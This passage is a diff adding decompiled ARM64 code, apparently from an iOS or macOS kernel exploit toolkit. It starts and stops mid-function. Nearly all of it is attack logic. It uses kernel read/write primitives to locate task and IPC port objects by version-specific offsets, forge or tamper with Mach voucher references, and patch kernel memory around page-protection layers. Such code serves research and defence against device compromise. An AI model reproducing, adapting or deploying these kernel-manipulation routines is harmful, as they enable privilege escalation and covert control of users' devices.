LODWORD(v36[0]) == a2 ) + { + if ( v20 >= *a4 ) + return v10; + *(_QWORD *)(a3 + 8LL * v20++) = v33; + } + ++v19; + } + while ( v19 < v31 ); + } + else + { + v20 = 0; + } + v10 = 0LL; + *a4 = v20; + return v10; + } + v11 = 0x28LL; + goto LABEL_43; + } + if ( v9 == 0x1809 ) + { + v12 = 0x444LL; + v11 = 0x20LL; + } + else + { + if ( v9 != 0x1C1B ) + return v10; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B1400FFFFFFuLL ) + v11 = 0x20LL; + else + v11 = 0x28LL; + v12 = 0x4B4LL; + } +LABEL_43: + v22 = host_processors(*(_DWORD *)(a1 + 0x1920), &out_processor_list, &out_processor_listCnt); + if ( v22 ) + return v22 | 0x80000000; + v23 = out_processor_listCnt; + if ( !out_processor_listCnt ) + { + v25 = 0; +LABEL_58: + v10 = 0LL; + *a4 = v25; + goto LABEL_69; + } + v24 = 0LL; + v25 = 0; + while ( 1 ) + { + v26 = port_name_to_kaddr(a1, out_processor_list[v24]); + v33 = v26; + if ( !v26 ) + { + v8 = 0x2800ELL; + goto LABEL_68; + } + v27 = v26; + if ( !kread64((_DWORD *)a1, v26 + v11, &v32) ) + goto LABEL_68; + if ( !validate_addr(a1, v32) ) + { + v8 = 0x28026LL; + goto LABEL_68; + } + if ( !kread32_outptr(a1, v32 + v12, v36) ) + goto LABEL_68; + if ( (unsigned int)(LODWORD(v36[0]) - 1) > 1 ) + { + v8 = 0x28011LL; + goto LABEL_68; + } + if ( LODWORD(v36[0]) == a2 ) + break; +LABEL_55: + ++v24; + v23 = out_processor_listCnt; + if ( v24 >= out_processor_listCnt ) + goto LABEL_58; + } + if ( v25 < *a4 ) + { + *(_QWORD *)(a3 + 8LL * v25++) = v27; + goto LABEL_55; + } + v8 = 0xAD00CLL; +LABEL_68: + v23 = out_processor_listCnt; + v10 = v8; +LABEL_69: + if ( v23 ) + { + v28 = 0LL; + do + mach_port_deallocate(mach_task_self_, out_processor_list[v28++]); + while ( v28 < out_processor_listCnt ); + v29 = 4LL * out_processor_listCnt; + } + else + { + v29 = 0LL; + } + vm_deallocate(mach_task_self_, (vm_address_t)out_processor_list, v29); + return v10; +} + +//----- (00000000000353DC) ---------------------------------------------------- +__int64 __fastcall sub_353DC(__int64 a1) +{ + int v1; // w8 + + v1 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v1 - 0x1F53) < 2 ) + return 0x60LL; + if ( v1 == 0x1809 ) + return 0x58LL; + if ( v1 == 0x1C1B ) + return 0x60LL; + return 0LL; +} + +//----- (0000000000035420) ---------------------------------------------------- +__int64 __fastcall sub_35420(__int64 a1, __int64 a2) +{ + __int64 result; // x0 + int v4; // w8 + bool v5; // zf + int v6; // w9 + __int64 v8; // x8 + + result = 0LL; + v4 = *(_DWORD *)(a1 + 0x140); + if ( v4 <= 0x1F53 ) + { + if ( v4 == 0x1809 || v4 == 0x1C1B ) + { + v8 = 0x40LL; + } + else + { + if ( v4 != 0x1F53 ) + return result; + v8 = 0x30LL; + } + return v8 + a2; + } + if ( v4 > 0x225B ) + { + v5 = v4 == 0x225C; + v6 = 0x2712; + } + else + { + v5 = v4 == 0x1F54; + v6 = 0x2258; + } + if ( v5 || v4 == v6 ) + { + v8 = 0x20LL; + return v8 + a2; + } + return result; +} + +//----- (00000000000354A4) ---------------------------------------------------- +__int64 __fastcall sub_354A4(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = task_get_ipc_port(a1, mach_task_self_, a2); + if ( result ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_35420(a1, result); + } + return result; +} +// 354E4: variable 'vars8' is possibly undefined + +//----- (0000000000035500) ---------------------------------------------------- +__int64 __fastcall sub_35500(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v4; // [xsp+8h] [xbp-18h] BYREF + + result = sub_354A4(a1, a2); + v4 = result; + if ( result ) + { + if ( (unsigned int)kread64(a1, result, &v4) ) + { + if ( validate_addr(a1, v4) ) + return v4; + else + return 0LL; + } + else + { + return 0LL; + } + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000035568) ---------------------------------------------------- +__int64 __fastcall sub_35568(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + unsigned __int64 v4; // x8 + __int64 v5; // x1 + bool v6; // cc + __int64 v7; // x8 + __int64 v8; // [xsp+8h] [xbp-18h] BYREF + + result = sub_35500(a1, a2); + v8 = result; + if ( result ) + { + v4 = *(_QWORD *)(a1 + 0x158); + if ( v4 < 0x1C1B0A80100000LL ) + { + v5 = result + 0x18; + } + else + { + if ( v4 >> 0x2B >= 0x44B ) + return result + 0x50; + v6 = v4 > 0x1C1B19145FFFFFLL; + v7 = 0x20LL; + if ( v6 ) + v7 = 0x18LL; + v5 = v7 + result; + } + if ( (unsigned int)kread64(a1, v5, &v8) ) + return v8; + return 0LL; + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000035610) ---------------------------------------------------- +__int64 __fastcall sub_35610(__int64 a1, int a2) +{ + unsigned __int64 v4; // x1 + __int64 v5; // x0 + unsigned int v6; // w0 + __int64 ipc_port; // x0 + __int64 v9; // [xsp+8h] [xbp-18h] BYREF + + v4 = *(_QWORD *)(a1 + 0x1A8); + if ( !v4 ) + { + v6 = sub_32B10(a1); + if ( v6 + 1 < 2 ) + return 0LL; + ipc_port = task_get_ipc_port(a1, mach_task_self_, v6); + v4 = ipc_port; + if ( !ipc_port ) + return v4; + *(_QWORD *)(a1 + 0x1A8) = ipc_port; + } + if ( a2 == 1 ) + return v4; + v5 = sub_328A4(a1, v4); + if ( !v5 ) + return 0LL; + if ( kread64((_DWORD *)a1, v5 + (unsigned int)(*(_DWORD *)(a1 + 0x168) * a2) + 0x10, &v9) ) + return v9; + else + return 0LL; +} + +//----- (00000000000356C8) ---------------------------------------------------- +__int64 __fastcall sub_356C8(_DWORD *a1, unsigned int a2, _QWORD *a3) +{ + __int64 v5; // x19 + int v6; // w8 + unsigned __int64 v9; // x0 + __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + v5 = 0x28007LL; + v6 = a1[0x50]; + if ( v6 > 0x1F52 ) + { + if ( (unsigned int)(v6 - 0x1F53) >= 2 && v6 != 0x2258 ) + return v5; +LABEL_12: + v9 = port_name_to_kaddr((__int64)a1, a2); + if ( !v9 ) + return 0x28025LL; + if ( !kread64(a1, v9 + 0x38, &v11) ) + return 0x2800FLL; + if ( !validate_addr((__int64)a1, v11) ) + return 0x28026LL; + v5 = 0LL; + *a3 = v11; + return v5; + } + if ( v6 == 0x1809 || v6 == 0x1C1B ) + goto LABEL_12; + return v5; +} + +//----- (000000000003579C) ---------------------------------------------------- +__int64 __fastcall sub_3579C(__int64 a1, int a2, _QWORD *a3) +{ + __int64 v6; // x22 + int v7; // w8 + __int64 result; // x0 + int v9; // w9 + __int64 v11; // x23 + unsigned __int64 v12; // x0 + __int64 v13; // x1 + __int64 v14; // [xsp+8h] [xbp-48h] BYREF + __int64 v15; // [xsp+10h] [xbp-40h] BYREF + __int64 v16; // [xsp+18h] [xbp-38h] BYREF + + v6 = 0x2800FLL; + v7 = *(_DWORD *)(a1 + 0x140); + result = 0x2802CLL; + if ( v7 <= 0x2257 ) + { + if ( (unsigned int)(v7 - 0x1F53) >= 2 ) + { + if ( v7 == 0x1809 ) + { + v11 = 0x108LL; + goto LABEL_16; + } + v9 = 0x1C1B; + goto LABEL_13; + } +LABEL_10: + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + v11 = 0x100LL; + else + v11 = 0xF8LL; + goto LABEL_16; + } + if ( v7 == 0x2258 || v7 == 0x225C ) + goto LABEL_10; + v9 = 0x2712; +LABEL_13: + if ( v7 != v9 ) + return result; + v11 = 0xF8LL; +LABEL_16: + v12 = sub_33E8C(a1, mach_task_self_); + if ( !v12 ) + return 0x2800ELL; + if ( kread64((_DWORD *)a1, v12 + v11, &v16) ) + { + if ( !validate_addr(a1, v16) ) + return 0x28026LL; + v13 = v16; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) + { + if ( !kread64((_DWORD *)a1, v16, &v15) ) + return v6; + if ( !validate_addr(a1, v15) ) + return 0x28026LL; + v13 = v15; + } + else + { + v15 = v16; + } + if ( kread64((_DWORD *)a1, v13 + *(int *)(a1 + 0x168) * (__int64)a2, &v14) ) + { + if ( validate_addr(a1, v14) ) + { + v6 = 0LL; + *a3 = v14; + return v6; + } + return 0x28026LL; + } + } + return v6; +} + +//----- (0000000000035938) ---------------------------------------------------- +__int64 __fastcall sub_35938(_DWORD *a1, int a2, _QWORD *a3) +{ + int v5; // w8 + __int64 result; // x0 + bool v7; // zf + int v8; // w9 + _BOOL4 v10; // w8 + __int64 v11; // [xsp+8h] [xbp-38h] BYREF + __int64 v12; // [xsp+10h] [xbp-30h] BYREF + __int64 v13; // [xsp+18h] [xbp-28h] BYREF + + v5 = a1[0x50]; + result = 0x2802CLL; + if ( v5 > 0x2257 ) + { + v7 = v5 == 0x2258 || v5 == 0x2712; + v8 = 0x225C; + } + else + { + v7 = (unsigned int)(v5 - 0x1F53) < 2 || v5 == 0x1809; + v8 = 0x1C1B; + } + if ( v7 || v5 == v8 ) + { + result = sub_3579C((__int64)a1, a2, &v13); + if ( !(_DWORD)result ) + { + if ( !kread64(a1, v13 + 0x10, &v12) ) + return 0x2800FLL; + if ( validate_addr((__int64)a1, v12) ) + { + v10 = kread64(a1, v12 + 0x38, &v11); + result = 0x2800FLL; + if ( !v10 ) + return result; + if ( validate_addr((__int64)a1, v11) ) + { + result = 0LL; + *a3 = v11; + return result; + } + } + return 0x28026LL; + } + } + return result; +} + +//----- (0000000000035A50) ---------------------------------------------------- +unsigned __int64 __fastcall sub_35A50(__int64 a1, int a2, _DWORD *a3) +{ + unsigned __int64 v3; // x20 + + if ( a2 ) + return 0LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 8) ) + { + v3 = 0xFFFFFE0000000000LL; + } + else + { + v3 = 0xFFFFFFE000000000LL; + if ( *(_QWORD *)(a1 + 0x158) >= 0x22581401900000uLL && !krw_ctx_has_flag((_DWORD *)a1, 0x2000) ) + v3 = 0xFFFFFFDC00000000LL; + } + *a3 = 6; + return v3; +} + +//----- (0000000000035AE0) ---------------------------------------------------- +void __fastcall sub_35AE0(__int64 a1, unsigned int a2, __int64 a3) +{ + __int64 v3; // x21 + __int64 v5; // x19 + unsigned __int64 v6; // x8 + mach_vm_address_t v7; // x1 + __int64 v8; // x8 + unsigned int v9; // w10 + __int64 v10; // x2 + mach_vm_address_t v11; // x1 + unsigned __int64 v12; // x9 + __int64 v13; // x10 + __int64 v14; // x11 + void *(__cdecl *v15)(void *); // x0 + __int64 v16; // [xsp+0h] [xbp-80h] BYREF + unsigned int v17; // [xsp+8h] [xbp-78h] + int v18; // [xsp+Ch] [xbp-74h] + pthread_t v19; // [xsp+10h] [xbp-70h] BYREF + pthread_attr_t v20; // [xsp+18h] [xbp-68h] BYREF + __int64 vars8; // [xsp+88h] [xbp+8h] + + if ( a2 > 6 ) + return; + v3 = a3; + v5 = a1; + v6 = *(_QWORD *)(a1 + 0x158); + if ( v6 >= 0x1F530F02800000LL ) + { + if ( !a3 ) + a3 = 0xFFFFFFFFFFFFFFFFLL; + v7 = *(_QWORD *)(a1 + 0x18F0) + *(_DWORD *)(a1 + 0x168) * (a2 + 1); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + sub_2A63C(a1, v7, a3); + return; + } + if ( a3 ) + { + if ( (*(_DWORD *)a1 & 0x5584001) != 0 && sub_29D2C((_DWORD *)a1, a3) == a3 ) + return; + goto LABEL_18; + } + if ( v6 < 0x1F530000000000LL || (*(_DWORD *)a1 & 0x5584001) == 0 ) + { +LABEL_18: + v11 = *(_QWORD *)(v5 + 0x18F0) + *(_DWORD *)(v5 + 0x168) * (a2 + 1); + a1 = v5; + v10 = v3; +LABEL_19: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + kwrite64(a1, v11, v10); + return; + } + v8 = *(_QWORD *)(a1 + 0x18F0); + if ( *(_QWORD *)(a1 + 0x3B0) == v8 ) + { + v9 = 0; +LABEL_17: + v10 = *(_QWORD *)(a1 + ((unsigned __int64)v9 << 6) + 8LL * a2 + 0x3B8); + v11 = v8 + *(_DWORD *)(a1 + 0x168) * (a2 + 1); + goto LABEL_19; + } + v12 = 0xFFFFFFFFFFFFFFFFLL; + v13 = 0x3F0LL; + while ( v12 != 6 ) + { + v14 = *(_QWORD *)(a1 + v13); + ++v12; + v13 += 0x40LL; + if ( v14 == v8 ) + { + if ( v12 < 7 ) + { + v9 = v12 + 1; + goto LABEL_17; + } + break; + } + } + if ( !pthread_attr_init(&v20) ) + { + if ( !pthread_attr_setdetachstate(&v20, 1) ) + { + v19 = 0LL; + v16 = v5; + v17 = a2; + v18 = 0x1001; + v15 = (void *(__cdecl *)(void *))nullsub_1(sub_39150); + if ( !pthread_create(&v19, &v20, v15, &v16) ) + pthread_join(v19, 0LL); + } + pthread_attr_destroy(&v20); + } +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000035D94) ---------------------------------------------------- +unsigned __int64 __fastcall sub_35D94(__int64 a1, __int64 a2, int a3) +{ + unsigned __int64 result; // x0 + mach_vm_address_t v6; // x21 + unsigned int v7; // [xsp+Ch] [xbp-24h] BYREF + + result = sub_32A64(a1, a2); + if ( result ) + { + v6 = result; + result = kread32_outptr(a1, result, &v7); + if ( (_DWORD)result ) + return v7 <= 0x80000000 && noppl_kwrite32(a1, v6, v7 + a3); + } + return result; +} + +//----- (0000000000035E18) ---------------------------------------------------- +__int64 __fastcall sub_35E18(__int64 a1, __int64 a2, int a3) +{ + __int64 v5; // x20 + __int64 result; // x0 + int v7; // [xsp+Ch] [xbp-24h] BYREF + + v5 = a2 + 4; + result = kreadbuf_last_1(a1, a2 + 4, 4LL, (__int64)&v7); + if ( (_DWORD)result ) + { + v7 += a3; + return (unsigned int)kwritebuf_last_1(a1, v5, (__int64)&v7, 4LL) != 0; + } + return result; +} + +//----- (0000000000035E8C) ---------------------------------------------------- +__int64 __fastcall sub_35E8C(__int64 a1, __int64 a2) +{ + sub_35E18(a1, a2, 1); + sub_35D94(a1, a2, 1); + return 0LL; +} + +//----- (0000000000035ECC) ---------------------------------------------------- +__int64 __fastcall sub_35ECC(__int64 a1, unsigned __int64 a2, int a3) +{ + mach_vm_address_t v6; // x22 + __int64 result; // x0 + __int64 v8; // x21 + __int64 v9; // [xsp+0h] [xbp-30h] BYREF + int v10; // [xsp+Ch] [xbp-24h] BYREF + + v6 = a2 + 0x10; + result = kread32_outptr(a1, a2 + 0x10, &v10); + if ( (_DWORD)result ) + { + if ( (unsigned int)(v10 - 1) >> 0x14 ) + return 0LL; + result = ppl_kwrite32(a1, v6, v10 + a3); + if ( !(_DWORD)result ) + return result; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + return 1LL; + result = kread64((_DWORD *)a1, a2, &v9); + if ( (_DWORD)result ) + { + result = validate_addr(a1, v9); + if ( result ) + { + v8 = *(int *)(a1 + 0x140) <= 0x2711 ? 0x18LL : 0LL; + result = kread32_outptr(a1, v8 + v9, &v10); + if ( (_DWORD)result ) + { + if ( !((unsigned int)(v10 - 1) >> 0x14) ) + { + result = noppl_kwrite32(a1, v9 + v8, v10 + a3); + if ( !(_DWORD)result ) + return result; + return 1LL; + } + return 0LL; + } + } + } + } + return result; +} + +//----- (0000000000035FD8) ---------------------------------------------------- +__int64 __fastcall sub_35FD8(__int64 a1, unsigned __int64 a2) +{ + if ( (unsigned int)sub_35ECC(a1, a2, 0x10) ) + return 0LL; + else + return 0x1001LL; +} + +//----- (0000000000036000) ---------------------------------------------------- +__int64 __fastcall sub_36000(__int64 a1, __int64 a2) +{ + __int64 v3; // x19 + mach_vm_address_t v4; // x21 + int v6; // [xsp+Ch] [xbp-24h] BYREF + + v3 = 0x2800FLL; + v4 = a2 + 0x10; + if ( kread32_outptr(a1, a2 + 0x10, &v6) ) + { + if ( v6 ) + { + if ( noppl_kwrite32(a1, v4, v6 + 4) ) + return 0LL; + else + return 0x28010LL; + } + else + { + return 0x28011LL; + } + } + return v3; +} + +//----- (0000000000036078) ---------------------------------------------------- +_DWORD *__fastcall krw_ctx_set_flag(_DWORD *result, int a2) +{ + *result |= a2; + return result; +} + +//----- (0000000000036088) ---------------------------------------------------- +_DWORD *__fastcall sub_36088(_DWORD *result, int a2) +{ + *result &= ~a2; + return result; +} + +//----- (0000000000036098) ---------------------------------------------------- +bool __fastcall krw_ctx_has_flag(_DWORD *a1, int a2) +{ + return (*a1 & a2) != 0; +} + +//----- (00000000000360A8) ---------------------------------------------------- +__int64 __fastcall sub_360A8(__int64 a1) +{ + __int64 result; // x0 + __int64 v3; // x1 + __int64 v4; // x20 + int v5; // [xsp+4h] [xbp-1Ch] BYREF + __int64 v6; // [xsp+8h] [xbp-18h] BYREF + + v6 = 0LL; + result = *(_QWORD *)(a1 + 0x210); + if ( !result ) + { + v3 = *(_QWORD *)(a1 + 0x19D0); + if ( v3 ) + { + result = sub_329B8(a1, v3); + if ( !result ) + return result; + v4 = result; + if ( (unsigned int)kread64(a1, result, &v6) ) + { + if ( v6 ) + { + result = validate_addr(a1, v6); + if ( !result ) + return result; +LABEL_10: + result = v6; + *(_QWORD *)(a1 + 0x210) = v6; + return result; + } + v5 = 0x200; + result = sub_3796C(a1, &v5); + v6 = result; + if ( !result ) + return result; + if ( (unsigned int)kwrite64(a1, v4, result) ) + goto LABEL_10; + } + } + return 0LL; + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); +// 2A0D0: using guessed type __int64 __fastcall kwrite64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000036160) ---------------------------------------------------- +__int64 __fastcall sub_36160(__int64 a1, unsigned int a2, __int64 *a3) +{ + __int64 result; // x0 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + if ( a2 > 0xD ) + return 0LL; + result = sub_360A8(a1); + v7 = result; + if ( result ) + { + result = kread64(a1, result + *(_DWORD *)(a1 + 0x168) * a2, &v7); + if ( (_DWORD)result ) + { + *a3 = v7; + return 1LL; + } + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000361DC) ---------------------------------------------------- +__int64 __fastcall sub_361DC(__int64 a1, unsigned int a2, __int64 a3) +{ + __int64 result; // x0 + __int64 v6; // x20 + __int64 v7; // [xsp+8h] [xbp-28h] BYREF + + v7 = a3; + if ( a2 > 0xD ) + return 0LL; + v6 = *(unsigned int *)(a1 + 0x168); + result = sub_360A8(a1); + if ( result ) + return kwritebuf_last_1(a1, result + (unsigned int)v6 * a2, (__int64)&v7, v6); + return result; +} + +//----- (0000000000036248) ---------------------------------------------------- +bool __fastcall voucher_create_mach_voucher(__int64 a1, __int64 a2, ipc_voucher_t *a3) +{ + host_t v4; // w0 + __int128 v6; // [xsp+0h] [xbp-30h] BYREF + __int64 v7; // [xsp+10h] [xbp-20h] + + v6 = xmmword_43710; + v7 = a2; + v4 = mach_host_self(); + return host_create_mach_voucher(v4, (mach_voucher_attr_raw_recipe_array_t)&v6, 0x18u, a3) == 0; +} +// 43710: using guessed type __int128 xmmword_43710; + +//----- (000000000003629C) ---------------------------------------------------- +__int64 __fastcall create_mach_port_with_a2(__int64 a1, unsigned int a2) +{ + pid_t v3; // w0 + int mach_port; // w0 + int v6; // w19 + int v7; // w8 + __int64 buffer; // [xsp+8h] [xbp-18h] BYREF + + buffer = 0LL; + v3 = getpid(); + if ( proc_pidinfo(v3, 0x20, 0LL, &buffer, 8) == 8 ) + { + if ( (unsigned int)buffer >= a2 ) + { + return 0LL; + } + else + { + mach_port = create_mach_port(a2); + if ( mach_port ) + return mach_port | 0x80000000; + else + return 0LL; + } + } + else + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } +} + +//----- (0000000000036330) ---------------------------------------------------- +__int64 __fastcall create_mach_port(int a1) +{ + __int64 v2; // x19 + unsigned int inserted; // w0 + mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF + + name = 0; + v2 = mach_port_allocate(mach_task_self_, 1u, &name); + if ( !(_DWORD)v2 ) + { + inserted = mach_port_insert_right(mach_task_self_, (a1 << 8) | 3, name, 0x15u); + if ( inserted ) + { + if ( inserted == 0xD ) + v2 = 0LL; + else + v2 = inserted; + } + else + { + mach_port_deallocate(mach_task_self_, (a1 << 8) | 3); + v2 = 0LL; + } + } + if ( name + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, name, 1u, 0xFFFFFFFF); + return v2; +} + +//----- (00000000000363E4) ---------------------------------------------------- +__int64 __fastcall sub_363E4(__int64 a1, unsigned int a2) +{ + pid_t v3; // w0 + int mach_port; // w0 + int v6; // w19 + int v7; // w8 + __int64 buffer; // [xsp+8h] [xbp-18h] BYREF + + buffer = 0LL; + v3 = getpid(); + if ( proc_pidinfo(v3, 0x20, 0LL, &buffer, 8) == 8 ) + { + if ( HIDWORD(buffer) >= a2 ) + { + return 0LL; + } + else + { + mach_port = create_mach_port(a2 - HIDWORD(buffer) + (unsigned int)buffer); + if ( mach_port ) + return mach_port | 0x80000000; + else + return 0LL; + } + } + else + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } +} + +//----- (0000000000036480) ---------------------------------------------------- +__int64 __fastcall sub_36480(__int64 a1, unsigned __int64 a2, mach_port_name_t *a3) +{ + __int64 v6; // x25 + _BOOL4 v7; // w0 + unsigned int v8; // w9 + __int64 v9; // x22 + unsigned __int64 v10; // x8 + int v11; // w23 + _BOOL8 v12; // x0 + __int64 v13; // x0 + __int64 v14; // x22 + vm_size_t v15; // x23 + kern_return_t v16; // w0 + mach_port_name_t v17; // w24 + int v18; // w8 + __int64 v19; // x23 + __int64 v20; // x0 + unsigned __int64 v21; // x0 + unsigned __int64 v22; // x22 + __int64 v23; // x0 + int v24; // w8 + __int64 v25; // x23 + _BOOL4 v26; // w20 + unsigned int v27; // w24 + vm_address_t v28; // x22 + unsigned int v29; // w8 + __int64 v30; // x0 + int v31; // w8 + int v33; // w0 + __int64 v34; // x0 + __int64 v35; // x22 + __int64 v36; // x0 + int v37; // w23 + int v38; // w24 + __int64 v39; // x0 + mach_vm_address_t v40; // x22 + unsigned int v41; // w28 + mach_port_t v42; // w22 + mach_port_t v43; // w23 + mach_port_name_t v45; // w23 + __int64 v46; // x0 + mach_vm_address_t v47; // x21 + int v48; // [xsp+4h] [xbp-7Ch] BYREF + __int64 v49; // [xsp+8h] [xbp-78h] BYREF + mach_port_t previous[2]; // [xsp+10h] [xbp-70h] BYREF + unsigned __int64 __buf; // [xsp+18h] [xbp-68h] BYREF + mach_port_name_t name[2]; // [xsp+20h] [xbp-60h] BYREF + vm_address_t address; // [xsp+28h] [xbp-58h] BYREF + + v6 = 0x28010LL; + LODWORD(address) = 0; + v7 = kread32_outptr(a1, a2, &address); + if ( (address & 0x80000000) == 0LL ) + v8 = 0x28008; + else + v8 = 0; + if ( v7 ) + v9 = v8; + else + v9 = 0x2800FLL; + if ( !v7 || (address & 0x80000000) == 0 ) + return v9; + v10 = *(_QWORD *)(a1 + 0x158); + if ( v10 < 0x1F530000000000LL ) + { +LABEL_21: + *(_QWORD *)name = 0LL; + v18 = *(_DWORD *)(a1 + 0x140); + v9 = 0x2802CLL; + v19 = 0x38LL; + if ( v18 <= 0x1F52 ) + { + if ( v18 != 0x1809 && v18 != 0x1C1B ) + return v9; + } + else if ( (unsigned int)(v18 - 0x1F53) >= 2 ) + { + if ( v18 != 0x2258 ) + return v9; + v19 = 0x30LL; + } + arc4random_buf(&__buf, 8uLL); + v49 = 0LL; + *(_QWORD *)previous = 0LL; + if ( !voucher_create_mach_voucher(v20, __buf, &name[1]) ) + { +LABEL_71: + v26 = 0; + v6 = 0x1001LL; + goto LABEL_72; + } + v21 = port_name_to_kaddr(a1, name[1]); + if ( v21 ) + { + v22 = v21 + v19; + if ( !(unsigned int)kread64(a1, v21 + v19, &address) ) + goto LABEL_45; + if ( validate_addr(a1, address) ) + { + v23 = kwrite64(a1, v22, a2); + if ( !(_DWORD)v23 ) + goto LABEL_86; + v24 = *(_DWORD *)(a1 + 0x140); + if ( v24 >= 0x1F54 ) + { + v23 = kread64(a1, a2 + 0x58, &v49); + if ( (_DWORD)v23 ) + { + if ( v49 != 1 ) + { + v23 = kwrite64(a1, a2 + 0x58, 1LL); + if ( !(_DWORD)v23 ) + goto LABEL_86; + } + v25 = 0x58LL; +LABEL_66: + if ( voucher_create_mach_voucher(v23, __buf, name) ) + { + v31 = *(_DWORD *)(a1 + 0x140); + if ( v31 < 0x1F54 ) + { + if ( v31 == 0x1F53 + && previous[1] != previous[0] + && !(unsigned int)kwritebuf_last_1(a1, a2 + 8, (__int64)&previous[1], 4LL) ) + { + goto LABEL_86; + } + } + else if ( v49 != 1 && !(unsigned int)kwrite64(a1, v25 + a2, v49) ) + { + goto LABEL_86; + } + v33 = kwrite64(a1, v22, address); + v26 = v33 != 0; + if ( v33 ) + v6 = 0LL; + else + v6 = 0x28010LL; + goto LABEL_72; + } + goto LABEL_71; + } + goto LABEL_45; + } + if ( v24 != 0x1F53 ) + { +LABEL_44: + v25 = 0LL; + goto LABEL_66; + } + v23 = kreadbuf_last_1(a1, a2 + 8, 4LL, (__int64)&previous[1]); + if ( (_DWORD)v23 ) + { + if ( (previous[1] & 0x1000000) != 0 ) + { + v25 = 0LL; + previous[0] = previous[1]; + goto LABEL_66; + } + previous[0] = previous[1] | 0x1000000; + v23 = kwritebuf_last_1(a1, a2 + 8, (__int64)previous, 4LL); + if ( (_DWORD)v23 ) + goto LABEL_44; +LABEL_86: + v26 = 0; + goto LABEL_72; + } +LABEL_45: + v26 = 0; + v6 = 0x2800FLL; + goto LABEL_72; + } + v26 = 0; + v6 = 0x28026LL; + } + else + { + v26 = 0; + v6 = 0x28025LL; + } +LABEL_72: + if ( name[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, name[1]); + if ( v26 ) + { + *a3 = name[0]; + } + else if ( name[0] + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, name[0]); + } + return v6; + } + if ( v10 <= 0x1F5418FFFFFFFFLL ) + v11 = 0x400000; + else + v11 = 0x200000; + v12 = kread32_outptr(a1, a2 + 8, &address); + if ( !v12 ) + return 0x2800FLL; + if ( ((unsigned int)address & v11) != 0 ) + { + v12 = noppl_kwrite32(a1, a2 + 8, address & ~v11); + if ( !v12 ) + return v6; + } + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + goto LABEL_21; + name[0] = 0; + *(_QWORD *)previous = 0LL; + v48 = 0; + address = 0LL; + v9 = sub_363E4(v12, 8u); + if ( !(_DWORD)v9 ) + { + v13 = sub_3382C(a1, mach_task_self_, &v49, &name[1]); + if ( v13 ) + { + v14 = v13; + v15 = name[1] * (unsigned int)v49; + v16 = vm_allocate(mach_task_self_, &address, v15, 1); + if ( v16 ) + { + v17 = 0; + v9 = v16 | 0x80000000; + } + else if ( (unsigned int)kreadbuf_last_1(a1, v14, name[1] * (unsigned int)v49, address) ) + { + if ( (_DWORD)v49 ) + { + v27 = 0; + while ( 1 ) + { + __buf = 0LL; + v28 = address + name[1] * v27; + __memcpy_chk(); + if ( __buf ) + { + __buf = sub_29D2C((_DWORD *)a1, __buf); + if ( __buf == a2 ) + { + v29 = *(_DWORD *)(v28 + *(int *)(a1 + 0x168)); + if ( (v29 & 0x10000) != 0 ) + break; + } + } + if ( ++v27 >= (unsigned int)v49 ) + goto LABEL_54; + } + v9 = 0LL; + v17 = __PAIR64__(v27, v29) >> 0x18; + } + else + { +LABEL_54: + v17 = 0; + v9 = 0LL; + } + } + else + { + v17 = 0; + v9 = 0x2800FLL; + } + if ( address && (_DWORD)v15 ) + vm_deallocate(mach_task_self_, address, v15); + if ( !(_DWORD)v9 ) + { + if ( v17 + 1 >= 2 ) + { + LODWORD(v30) = mach_port_mod_refs(mach_task_self_, v17, 0, 1); + if ( !(_DWORD)v30 ) + { + v9 = 0LL; + *a3 = v17; + return v9; + } + return (unsigned int)v30 | 0x80000000; + } + LODWORD(v30) = mach_port_allocate(mach_task_self_, 1u, name); + if ( (_DWORD)v30 ) + return (unsigned int)v30 | 0x80000000; + v34 = sub_32D6C(a1, name[0]); + if ( !v34 ) + return 0x2800ELL; + v35 = v34; + v36 = sub_32820(a1, v34); + if ( !v36 ) + return 0x2802CLL; + v37 = v36; + v38 = *(_DWORD *)(a1 + 0x168); + if ( !kread32_outptr(a1, a2, &v48) ) + return 0x2800FLL; + if ( (v48 & 0x400) != 0 && !noppl_kwrite32(a1, a2, v48 & 0xFFFFFBFF) + || !(unsigned int)sub_288A4(a1, v35 + (unsigned int)(v37 - v35 + 2 * v38), a2) ) + { + return 0x28010LL; + } + v30 = mach_port_request_notification(mach_task_self_, name[0], 0x46, 1u, 0, 0x15u, &previous[1]); + if ( (_DWORD)v30 ) + return (unsigned int)v30 | 0x80000000; + v9 = 0x28008LL; + if ( previous[1] + 1 >= 2 ) + { + v9 = sub_363E4(v30, 8u); + if ( !(_DWORD)v9 ) + { + v39 = 